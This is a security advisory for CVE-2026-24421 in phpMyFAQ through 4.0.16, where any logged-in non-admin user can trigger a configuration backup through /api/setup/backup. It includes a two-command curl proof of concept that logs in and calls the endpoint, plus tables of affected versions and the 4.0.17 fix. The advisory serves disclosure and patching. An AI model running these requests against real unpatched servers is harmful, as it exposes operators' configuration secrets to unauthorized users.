CVE-2026-24421
phpMyFAQ: /api/setup/backup accessible to any authenticated user (authz missing)
Public exploit code
Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.
- phpMyFAQ 4.0.16 - Improper Authorization2026-04-29 · webapps · php
Impact
### Summary Authenticated non‑admin users can call /api/setup/backup and trigger a configuration backup. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. ### Details SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged‑in user to create a sensitive backup and retrieve its path. ### PoC Precondition: API enabled, any authenticated non‑admin user. - Log in as a non‑admin user. - Call backup endpoint. ``` curl -c /tmp/pmf_api_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"username":"tester","password":"Test1234!"}' \ http://192.168.40.16/phpmyfaq/api/v3.0/login curl -i -b /tmp/pmf_api_cookies.txt \ -X POST --data '4.0.16' \ http://192.168.40.16/phpmyfaq/api/setup/backup ``` ### Impact Low‑privileged users can generate sensitive backups. If the ZIP is web‑accessible (server misconfiguration), this can lead to secret exposure.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| composer | phpmyfaq/phpmyfaq | <= 4.0.16 | 4.0.17 |
| composer | thorsten/phpmyfaq | <= 4.0.16 | 4.0.17 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Phpmyfaq | Phpmyfaq | before 4.0.17 |